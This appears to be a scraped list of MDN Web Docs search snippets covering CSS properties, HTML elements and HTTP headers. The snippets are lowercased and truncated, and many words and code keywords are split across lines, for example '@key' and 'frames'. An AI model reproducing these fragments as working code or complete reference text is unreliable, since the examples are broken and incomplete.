the max() css function lets you set the largest (most positive) value
from a list of comma-separated expressions as the value of a css property value.
... the max() function can be used anywhere a <length>, <
frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
min-width - CSS: Cascading Style Sheets
it prevents the used value of the width property
from becoming smaller than the value specified for min-width.
... browser compatibility the compatibility table on this page is generated
from structured data.
min() - CSS: Cascading Style Sheets
the min() css function lets you set the smallest (most negative) value
from a list of comma-separated expressions as the value of a css property value.
... the min() function can be used anywhere a <length>, <
frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
object-fit - CSS: Cascading Style Sheets
syntax the object-fit property is specified as a single keyword chosen
from the list of values below.
... candidate recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
offset-anchor - CSS: Cascading Style Sheets
0 0; offset-anchor: 1cm 2cm; offset-anchor: 10ch 8em; /* edge offsets values */ offset-anchor: bottom 10px right 20px; offset-anchor: right 3em bottom 10px; /* global values */ offset-anchor: inherit; offset-anchor: initial; offset-anchor: unset; values auto offset-anchor is given the same value as the element's transform-origin, unless offset-path is none, in which case it takes its value
from offset-position.
... 40px; } section { background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto; background: cyan; } .offset-anchor2 { offset-anchor: right top; background: purple; } .offset-anchor3 { offset-anchor: left bottom; background: magenta; } @key
frames move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-anchor' in that specification.
offset-path - CSS: Cascading Style Sheets
et-path: polygon(30% 0%, 70% 0%, 100% 50%, 30% 100%, 0% 70%, 0% 30%); offset-path: path('m 0,200 q 200,200 260,80 q 290,20 400,0 q 300,100 400,200'); /* geometry boxes */ offset-path: margin-box; offset-path: stroke-box; /* global values */ offset-path: inherit; offset-path: initial; offset-path: unset; values ray() taking up to three values, defines a path that is a line segment starting
from the position of the box and proceeds in the direction defined by the specified angle similar to the css gradient angle where 0deg is up, with positive angles increasing in the clockwise direction, with the size value being similar to the css radial gradient size values
from closest-side to farthest-corner, and the keyterm contain.
...in="round" stroke-linecap="round" fill-rule="evenodd" /> </svg> css .scissorhalf { offset-path: path('m900,190 l993,245 v201 a11,11 0 0,1 1004,190 h1075 a11,11 0 0,1 1086,201 v300 l1294,423 h1216 a11,11 0 0,0 1205,434 v789 a11,11 0 0,1 1194,800 h606 a11,11 0 0,1 595,789 v434 a11,11 0 0,0 584,423 h506 l900,190'); animation: followpath 4s linear infinite; } @key
frames followpath { to { motion-offset: 100%; offset-distance: 100%; } } result specifications <body> specification status comment motion path module level 1the definition of 'offset-path' in that specification.
outline-color - CSS: Cascading Style Sheets
unlike the element's border, the outline is drawn outside the element's
frame, and may overlap other content.
... browser compatibility the compatibility table in this page is generated
from structured data.
overflow-block - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-block: visible; overflow-block: hidden; overflow-block: scroll; overflow-block: auto; /* global values */ overflow-block: inherit; overflow-block: initial; overflow-block: unset; the overflow-block property is specified as a single keyword chosen
from the list of values below.
...(this prevents scrollbars
from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-inline - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-inline: visible; overflow-inline: hidden; overflow-inline: scroll; overflow-inline: auto; /* global values */ overflow-inline: inherit; overflow-inline: initial; overflow-inline: unset; the overflow-inline property is specified as a single keyword chosen
from the list of values below.
...(this prevents scrollbars
from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-wrap - CSS: Cascading Style Sheets
the overflow-wrap css property applies to inline elements, setting whether the browser should insert line breaks within an otherwise unbreakable string to prevent text
from overflowing its line box.
... syntax /* keyword values */ overflow-wrap: normal; overflow-wrap: break-word; overflow-wrap: anywhere; /* global values */ overflow-wrap: inherit; overflow-wrap: initial; overflow-wrap: unset; the overflow-wrap property is specified as a single keyword chosen
from the list of values below.
overflow-x - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-x: visible; overflow-x: hidden; overflow-x: clip; overflow-x: scroll; overflow-x: auto; /* global values */ overflow-x: inherit; overflow-x: initial; overflow-x: unset; the overflow-x property is specified as a single keyword chosen
from the list of values below.
...(this prevents scrollbars
from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-y - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-y: visible; overflow-y: hidden; overflow-y: clip; overflow-y: scroll; overflow-y: auto; /* global values */ overflow-y: inherit; overflow-y: initial; overflow-y: unset; the overflow-y property is specified as a single keyword chosen
from the list of values below.
...(this prevents scrollbars
from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow: visible; overflow: hidden; overflow: clip; overflow: scroll; overflow: auto; overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen
from the list of values below.
...browsers always display scrollbars whether or not any content is actually clipped, preventing scrollbars
from appearing or disappearing as content changes.
overscroll-behavior-block - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-block: auto; /* default */ overscroll-behavior-block: contain; overscroll-behavior-block: none; /* global values */ overscroll-behavior-block: inherit; overscroll-behavior-block: initial; overscroll-behavior-block: unset; syntax the overscroll-behavior-block property is specified as a keyword chosen
from the list of values below.
..."bounce" effects or re
freshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
overscroll-behavior-inline - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-inline: auto; /* default */ overscroll-behavior-inline: contain; overscroll-behavior-inline: none; /* global values */ overscroll-behavior-inline: inherit; overscroll-behavior-inline: initial; overscroll-behavior-inline: unset; syntax the overscroll-behavior-inline property is specified as a keyword chosen
from the list of values below.
..."bounce" effects or re
freshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
<position> - CSS: Cascading Style Sheets
d for each direction (the order is irrelevant) */ keyword value /* a keyword for horizontal position, value for vertical position */ value keyword /* a value for horizontal position, keyword for vertical position */ value value /* a value for each direction (horizontal then vertical) */ /* 4-value syntax */ keyword value keyword value /* each value is an offset
from the keyword that preceeds it */ formal syntax [ [ left | center | right ] || [ top | center | bottom ] | [ left | center | right | <length> | <percentage> ] [ top | center | bottom | <length> | <percentage> ]?
... candidate recommendation defines <position> explicitly and extends it to support offsets
from any edge.
resize - CSS: Cascading Style Sheets
syntax /* keyword values */ resize: none; resize: both; resize: horizontal; resize: vertical; resize: block; resize: inline; /* global values */ resize: inherit; resize: initial; resize: unset; the resize property is specified as a single keyword value
from the list below.
... resize does not apply to the following: inline elements block elements for which the overflow property is set to visible formal definition initial valuenoneapplies toelements with overflow other than visible, and optionally replaced elements representing images or videos, and i
framesinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | both | horizontal | vertical | block | inline examples disabling resizability of textareas in many browsers, <textarea> elements are resizable by default.
scroll-padding - CSS: Cascading Style Sheets
s properties: scroll-padding-bottom scroll-padding-left scroll-padding-right scroll-padding-top syntax /* keyword values */ scroll-padding: auto; /* <length> values */ scroll-padding: 10px; scroll-padding: 1em .5em 1em 1em; scroll-padding: 10%; /* global values */ scroll-padding: inherit; scroll-padding: initial; scroll-padding: unset; values <length-percentage> an inwards offset
from the corresponding edge of the scrollport, as a valid <length> or a <percentage>.
...this will generally be 0px, but the user agent is
free to detect and do something else if a non-zero value is more appropriate.
shape-image-threshold - CSS: Cascading Style Sheets
/* <number> value */ shape-image-threshold: 0.7; /* global values */ shape-image-threshold: inherit; shape-image-threshold: initial; shape-image-threshold: unset; syntax values <alpha-value> sets the threshold used for extracting a shape
from an image.
...the same gradient is also used as the image
from which the shape is derived for establishing the float area, using the shape-outside property.
shape-outside - CSS: Cascading Style Sheets
.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <url> value */ shape-outside: url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); /* global values */ shape-outside: initial; shape-outside: inherit; shape-outside: unset; the shape-outside property is specified using the values
from the list below, which define the float area for float elements.
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
text-underline-offset - CSS: Cascading Style Sheets
the text-underline-offset css property sets the offset distance of an underline text decoration line (applied using text-decoration)
from its original position.
... syntax /* single keyword */ text-underline-offset: auto; /* length */ text-underline-offset: 0.1em; text-underline-offset: 3px; /* percentage */ text-underline-offset: 20%; /* global values */ text-underline-offset: inherit; text-underline-offset: initial; text-underline-offset: unset; the text-underline-offset property is specified as a single value
from the list below.
text-underline-position - CSS: Cascading Style Sheets
from-font if the font file includes information about a preferred position, use that value.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto |
from-font | [ under | [ left | right ] ] examples a simple example let's take a couple of simple example paragraphs: <p class="horizontal">lorem ipsum dolor sit amet, consectetur adipiscing elit.
top - CSS: Cascading Style Sheets
for relatively positioned elements, the distance of the element
from its normal position is based on the bottom property; or if bottom is also auto, the element is not moved vertically at all.
... inherit specifies that the value is the same as the computed value
from its parent element (which might not be its containing block).
transform-style - CSS: Cascading Style Sheets
html <section id="example-element"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="checkbox"> <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px;...
... transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .
front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50...
unset - CSS: Cascading Style Sheets
the unset css keyword resets a property to its inherited value if the property naturally inherits
from its parent, and to its initial value if not.
... candidate recommendation no changes
from level 3.
Used value - CSS: Cascading Style Sheets
ctor(`#${id}`); var par = div.queryselector('.show-used-width'); var wid = window.getcomputedstyle(div)["width"]; par.textcontent = `used width: ${wid}.`; } function updateallusedwidths() { updateusedwidth("no-width"); updateusedwidth("width-50"); updateusedwidth("width-inherit"); } updateallusedwidths(); window.addeventlistener('resize', updateallusedwidths); result difference
from computed value css 2.0 defined only computed value as the last step in a property's calculation.
...the following are the css 2.1 properties that do depend on layout, so they have a different computed value and used value: (taken
from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (revision 2)the definition of 'used value...
regexp:match() - EXSLT
the character flags are: g global match the submatches
from every match in the string are returned.
... if this flag isn't specified, only the submatches
from the first match are returned.
Guide to Web APIs - Developer guides
the web includes a wide array of apis that can be used
from javascript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as node.js, on a server.
... web apis
from a to z aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api
frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperfor...
Using HTML sections and outlines - Developer guides
</p> <aside> <blockquote> amazing quote
from article </blockquote> </aside> <footer> <p> author info, publication date </p> </footer> </article> nesting articles and sections articles can be nested inside of sections and sections can be nested inside of articles.
...unknown elements are styled as display: inline by default, so you'll want to set them to display: block: article, aside, footer, header, nav, section { display: block; } of course the web developer can style them differently, but keep in mind that in a non-html5 browser, the default styling is different
from what is expected for such elements.
The Unicode Bidirectional Text Algorithm - Developer guides
initial unicode bidi algorithm control characters character code point html entity markup equivalent description left-to-right isolate (lri) u+2066 ⁦ dir="ltr" sets the base direction to ltr, isolating the embedded content
from the surrounding text right-to-left isolate (lri) u+2067 ⁧ dir="rtl" sets the base direction to rtl, isolating the embedded content
from the surrounding text first strong isolate (fsi) u+2068 ⁨ dir="auto" isolates the content and sets the base direction according to the first strongly-typed directional character in the embedded content ...
...e effect spilling over to the outer content right-to-left embedding (rle) u+202b ‫ dir="rtl" sets the base direction to rtl, but lets the embedded text interact with the surrounding content, risking spillover effects left-to-right override (lro) u+202d ‭ <bdo dir="ltr"> overrides the bidi algorithm, displaying the characters in memory order,
from left to right right-to-left override (rlo) u+202e ‮ <bdo dir="rtl"> overrides the bidi algorithm and displays the embedded characters in reverse memory order,
from right to left closing unicode bidi algorithm control characters character code point html entity markup equivalent description pop directional formatting (pdf) ...
Writing forward-compatible websites - Developer guides
if you choose to use them, be prepared to need to
frequently update your site to keep up with changes.
... a good example, for a browser vendor using the -vnd css prefix that has shipped an unprefixed implementation of the make-it-pretty property, with a behavior for the value "sometimes" that differs
from the prefixed version: <style> .pretty-element { -vnd-make-it-pretty: sometimes; make-it-pretty: sometimes; } </style> the order of the declarations in the rule above is important: the unprefixed one needs to come last.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
example: crossorigin with the script element you can use the following <script> element to tell a browser to execute the https://example.com/example-
framework.js script without sending user-credentials.
... <script src="https://example.com/example-
framework.js" crossorigin="anonymous"></script> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is
from the same origin.
HTML attribute: pattern - HTML: Hypertext Markup Language
constraint validation if the input’s value is not the empty string and the value does not match the entire regular expression, there is a
from a patternmismatch .
... the pattern's regular expression, when matched against the value, must have its start anchored to the start of the string and its end anchored to the end of the string, which is slightly different
from javascript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a ^(?: were implied at the start of the pattern and )$ at the end.
HTML attribute: rel - HTML: Hypertext Markup Language
<!-- a persistent style sheet --> <link rel="stylesheet" href="default.css"> <!-- alternate style sheets --> <link rel="alternate stylesheet" href="highcontrast.css" title="high contrast"> with an hreflang attribute that differs
from the document language, it indicates a translation.
... <link rel="alternate" type="application/atom+xml" href="posts.xml" title="blog"> both the hreflang and type attributes specify links to versions of the document in an alternative format and language, intended for other media: <link rel=alternate href="/
fr/html/print" hreflang=
fr type=text/html media=print title="
french html (for printing)"> <link rel=alternate href="/
fr/pdf" hreflang=
fr type=application/pdf title="
french pdf"> author indicates the author of the current document or article.
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
avoid skipping heading levels: always start
from <h1>, next use <h2> and so on.
... <h1>heading elements</h1> <h2>summary</h2> <p>some text here...</p> <h2>examples</h2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of this code: accessibility concerns navigation a common navigation technique for users of screen reading software is jumping
from heading to heading to quickly determine the content of the page.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
each <abbr> element you use is independent
from all others; providing a title for one does not automatically attach the same expansion text to others with the same content text.
... default styling the purpose of this element is purely for the convenience of the author and all browsers display it inline (display: inline) by default, though its default styling varies
from one browser to another: some browsers, like internet explorer, do not style it differently than a <span> element.
<acronym> - HTML: Hypertext Markup Language
example <p>the <acronym title="world wide web">www</acronym> is only a component of the internet.</p> default styling though the purpose of this tag is purely for the convenience of the author, its default styling varies
from one browser to another: some browsers, like internet explorer, do not style it differently than a <span> element.
... recommendation browser compatibility the compatibility table in this page is generated
from structured data.
<basefont> - HTML: Hypertext Markup Language
the obsolete html base font element (<basefont>) sets a default font face, size, and color for the other elements which are descended
from its parent element.
...numeric values range
from 1 to 7 with 1 being the smallest and 3 the default.
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
blinking text is
frowned upon by several accessibility standards and the css specification allows browsers to ignore the <blink> element.
... blink { -webkit-animation: 2s linear infinite condemned_blink_effect; /* for safari 4.0 - 8.0 */ animation: 2s linear infinite condemned_blink_effect; } /* for safari 4.0 - 8.0 */ @-webkit-key
frames condemned_blink_effect { 0% { visibility: hidden; } 50% { visibility: hidden; } 100% { visibility: visible; } } @key
frames condemned_blink_effect { 0% { visibility: hidden; } 50% { visibility: hidden; } 100% { visibility: visible; } } ...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
example this example demonstrates the use of the <blockquote> element to quote a passage
from rfc 1149, a standard for the transmission of ip datagrams on avian carriers.
...the carriers have an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output
from this html snippet looks like this: specifications specification status comment html living standardthe definition of '<blockquote>' in that specification.
<col> - HTML: Hypertext Markup Language
possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell if this attribute is not set, its value is inherited
from the align of the <colgroup> element this <col> element belongs too.
... charoff this attribute is used to indicate the number of characters to offset the column data
from the alignment characters specified by the char attribute.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
the html <datalist> element contains a set of <option> elements that represent the permissible or recommended options available to choose
from within other controls.
... examples <label for="mybrowser">choose a browser
from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
when the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its contents:
from there, you can use css to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its open attribute.
... an input device as well as some form of output device is recommended.</p> </details> the result
from this html is this: creating an open disclosure box to start the <details> box in its open state, add the boolean open attribute: <details open> <summary>system requirements</summary> <p>requires a computer running an operating system.
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
(for example, display: inline behaves as block.) there will be an anonymous box holding the contents of the <fieldset>, which inherits certain properties
from the <fieldset>.
... you can feel
free to style the <fieldset> and <legend> in any way you want to suit your page design.
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
permitted content if the document is an <i
frame> srcdoc document, or if title information is available
from a higher level protocol (like the subject line in html email), zero or more elements of metadata content.
... living standard no change
from latest shapshot html5the definition of '<head>' in that specification.
<hgroup> - HTML: Hypertext Markup Language
usage notes the <hgroup> element has been removed
from the html5 (w3c) specification, but it still is in the whatwg version of html.
... in other words, the <hgroup> element prevents any of its secondary <h1>–<h6> children
from creating separate sections of their own in the outline—as those <h1>–<h6> elements otherwise normally would if they were not children of any <hgroup>.
<input type="button"> - HTML: Hypertext Markup Language
"button" value="enabled"> const button = document.queryselector('input'); button.addeventlistener('click', disablebutton); function disablebutton() { button.disabled = true; button.value = 'disabled'; window.settimeout(function() { button.disabled = false; button.value = 'enabled'; }, 2000); } if the disabled attribute isn't specified, the button inherits its disabled state
from its parent element.
...tion() { pressed = true; }; canvas.onmouseup = function() { pressed = false; } clearbtn.onclick = function() { ctx.fillstyle = 'rgb(0,0,0)'; ctx.fillrect(0,0,width,height); } function draw() { if(pressed) { ctx.fillstyle = colorpicker.value; ctx.beginpath(); ctx.arc(curx, cury-85, sizepicker.value, degtorad(0), degtorad(360), false); ctx.fill(); } requestanimation
frame(draw); } draw(); specifications specification status comments html living standardthe definition of '<input type="button">' in that specification.
<input type="color"> - HTML: Hypertext Markup Language
the element's presentation may vary substantially
from one browser and/or platform to another—it might be a simple textual input that automatically validates to ensure that the color information is entered in the proper format, or a platform-standard color picker, or some kind of custom color picker window.
...for example, in safari 10.1, you would see something that looks looks like this: the same content looks like this in firefox 55: in this case, clicking on the color well presents the platform's color picker for you to choose a color
from (in this case, the macos picker): validation a color input's value is considered to be invalid if the user agent is unable to convert the user's input into seven-character lower-case hexadecimal notation.
<input type="datetime"> - HTML: Hypertext Markup Language
the html <input type="datetime"> was a control for entering a date and time (hour, minute, second, and
fraction of a second) as well as a timezone.
... this feature has been removed
from whatwg html, and is no longer supported in browsers.
<input type="submit"> - HTML: Hypertext Markup Language
the string must be the name of a browsing context (that is, a tab, window, or <i
frame>.
... in addition to the actual names of tabs, windows, or inline
frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form.
<input type="week"> - HTML: Hypertext Markup Language
the control's user interface varies
from browser to browser; cross-browser support is currently a bit limited, with only chrome/opera and microsoft edge supporting it at this time.
... you can set a default value for the input by including a value inside the value attribute, like so: <label for="week">what week would you like to start?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ
from the actual value, which is always formatted yyyy-www.
<isindex> - HTML: Hypertext Markup Language
kevin replies that he doesn't like the boolean nature of isindex and would prefer a system where everything is searchable and proposes to extend the current www
framework with a specific httpd configuration and defined that some uris mapping create search queries.
... in 2016, after it was removed
from edge and chrome, it was proposed to remove isindex
from the standard; this removal was completed the next day, after which safari and firefox also removed support.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
the html keyboard input element (<kbd>) represents a span of inline text denoting textual user input
from a keyboard, voice input, or any other text entry device.
...then, inside that, both the menu and menu item names are contained within both <kbd> and <samp>, indicating an input which is selected
from a screen widget.
<keygen> - HTML: Hypertext Markup Language
it is normally a string
from the table in nskeygenhandler.cpp.
...&org=foobar+computing+corp.& orgunit=bureau+of+bureaucracy&locality=anytown&state=california&country=us& key=mihfmhewxdanbgkqhkig9w0baqefaanladbiakeanx0tiljromuue%2bptwbre6xfv%0awtkqbsshxk5zhcuwcwyvcniq9b82qhjdoacdd34rqfcaind46fxkqunb0mvkzqid%0aaqabfhfnb3ppbgxhsxnneuzyawvuzdanbgkqhkig9w0baqqfaanbaakv2eex2n%2fs%0ar%2f7ijnrowlszsmttiqteb%2badwhgj9u1xruroilq%2fo2cuqxifzcnzkyakwp4dubqw%0ai0%2f%2
frgbvmco%3d specifications specification status comment html5the definition of 'the <keygen> element' in that specification.
<main> - HTML: Hypertext Markup Language
example <!-- other content --> <main> <h1>apples</h1> <p>the apple is the pomaceous
fruit of the apple tree.</p> <article> <h2>red delicious</h2> <p>these bright red apples are the most common found in many supermarkets.</p> <p>...
... recommendation no change
from html5.
<mark>: The Mark Text element - HTML: Hypertext Markup Language
rebel spaceships, striking
from a hidden base, have won their first victory against the evil galactic empire.
...although the death star has been destroyed, <mark class="match">imperial</mark> troops have driven the rebel forces
from their hidden base and pursued them across the galaxy.</p> <p>evading the dreaded <mark class="match">imperial</mark> starfleet, a group of
freedom fighters led by luke skywalker has established a new secret base on the remote ice world of hoth.</p> to help distinguish the use of <mark> for search results
from other potential usage, this example applies the custom class "match" to each match.
<menu> - HTML: Hypertext Markup Language
context menus are then attached to the element they're activated
from using either the associated element's contextmenu attribute or, for button-activated menus attached to <button> elements, the menu attribute.
... living standard no change
from latest snapshot, unknown html 5.1the definition of '<menu>' in that specification.
<menuitem> - HTML: Hypertext Markup Language
note that disabled is distinct
from hidden; the disabled attribute is appropriate in any context where a change in circumstances might render the command relevant.
... radio: represent one selection
from a group of commands that can be toggled as radio buttons.
<p>: The Paragraph element - HTML: Hypertext Markup Language
paragraphs are usually represented in visual media as blocks of text separated
from adjacent blocks by blank lines and/or first-line indentation, but html paragraphs can be any structural grouping of related content, such as images or form fields.
...this can confuse and
frustrate the person using the screen reader.
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
this makes it possible to change or remove the icon displayed as the disclosure widget next to the label
from the default, which is typically a triangle.
... warning: because the <summary> element has a default role of button (which strips all roles
from child elements), this example will not work for users of assistive technologies such as screen readers.
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
note that this directly contradicts the above normative requirement
from html5.
... charoff deprecated since html4obsolete since html5 this attribute is used to indicate the number of characters to offset the column data
from the alignment characters specified by the char attribute.
<time> - HTML: Hypertext Markup Language
living standard no change
from html 5.1 html 5.1the definition of '<time>' in that specification.
... recommendation no change
from html5 html5the definition of '<time>' in that specification.
data-* - HTML: Hypertext Markup Language
living standard no change
from latest snapshot, html 5.1 html 5.1the definition of 'data-*' in that specification.
... recommendation snapshot of html living standard, no change
from html5 html5the definition of 'data-*' in that specification.
Identifying resources on the Web - HTTP
fragment #somewhereinthedocument is an anchor to another part of the resource itself.
...it is worth noting that the part after the #, also known as
fragment identifier, is never sent to the server with the request.
Common MIME types - HTTP
this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-
freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-sh...
... .woff web open font format (woff) font/woff .woff2 web open font format (woff) font/woff2 .xhtml xhtml application/xhtml+xml .xls microsoft excel application/vnd.ms-excel .xlsx microsoft excel (openxml) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet .xml xml application/xml if not readable
from casual users (rfc 3023, section 3) text/xml if readable
from casual users (rfc 3023, section 3) .xul xul application/vnd.mozilla.xul+xml .zip zip archive application/zip .3gp 3gpp audio/video container video/3gpp audio/3gpp if it doesn't contain video .3g2 3gpp2 audio/video container video/3gpp2 audio/3gpp2 if it doesn't co...
Connection management in HTTP/1.x - HTTP
the model used in connections between a client and its first proxy may differ
from the model between a proxy and the destination server (or any intermediate proxies).
...short-lived connections do not make use of this efficiency feature of tcp, and performance degrades
from optimum by persisting to transmit over a new, cold connection.
Alt-Svc - HTTP
ma=<max-age>optional the number of seconds for which the alternative service is considered
fresh.
...alternative service entries can be cached for up to <max-age> seconds, minus the age of the response (
from the age header).
Content-Encoding - HTTP
the value name was taken
from the unix compress program, which implemented this algorithm.
... like the compress program, which has disappeared
from most unix distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003).
Content-Type - HTTP
boundary for multipart entities the boundary directive is required, which consists of 1 to 70 characters
from a set of characters known to be very robust through email gateways, and not ending with white space.
... examples content-type in html forms in a post request, resulting
from an html form submission, the content-type of the request is specified by the enctype attribute on the <form> element.
Cross-Origin-Resource-Policy - HTTP
note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing visitors
from being able to read past the first page of some pdfs.
... due to a bug in firefox, setting cross-origin-resource-policy can prevent some resources (such as pdfs)
from being downloaded in some circumstances.
Forwarded - HTTP
the forwarded header contains information
from the reverse proxy servers that is altered or lost when a proxy is involved in the path of the request.
... examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # multiple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning
from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwarded header, the x-forwarded-for header can be replaced.
If-Range - HTTP
the most common use case is to resume a download, to guarantee that the stored resource has not been modified since the last
fragment has been received.
... <day-name> one of "mon", "tue", "wed", "thu", "
fri", "sat", or "sun" (case-sensitive).
If-Unmodified-Since - HTTP
in conjunction with a range request with a if-range header, it can be used to ensure that the new
fragment requested comes
from an unmodified document.
... header type request header forbidden header name no syntax if-unmodified-since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "
fri", "sat", or "sun" (case-sensitive).
Save-Data - HTTP
examples the vary header ensures that the content is cached properly (for instance ensuring that the user is not served a lower-quality image
from the cache when save-data header is no longer present [e.g.
... after having switched
from cellular to wi-fi]).
Server-Timing - HTTP
th value server-timing: cpu;dur=2.4 // single metric with description and value server-timing: cache;desc="cache read";dur=23.2 // two metrics with value server-timing: db;dur=53, app;dur=47.2 // server-timing as trailer trailer: server-timing --- response body --- server-timing: total;dur=123.4 privacy and security the server-timing header may expose potentially sensitive application and in
frastructure information.
... performanceservertiming interface in addition to having server-timing header metrics appear in the developer tools of the browser, the performanceservertiming interface enables tools to automatically collect and process metrics
from javascript.
Vary - HTTP
the vary http response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a
fresh one
from the origin server.
... examples dynamic serving when using the vary: user-agent header, caching servers should consider the user agent when deciding whether to serve the page
from cache.
X-XSS-Protection - HTTP
the http x-xss-protection response header is a feature of internet explorer, chrome and safari that stops pages
from loading when they detect reflected cross-site scripting (xss) attacks.
... example block pages
from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apache (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts.
HTTP Public Key Pinning (HPKP) - HTTP
first you need to extract the public key information
from your certificate or key file and encode them using base64.
... the following commands will help you extract the base64 encoded information
from a key file, a certificate signing request, or a certificate.
451 Unavailable For Legal Reasons - HTTP
status 451 unavailable for legal reasons example this example response is taken
from the ietf rfc (see below) and contains a reference to monty python's life of brian.
...content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's
front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
500 Internal Server Error - HTTP
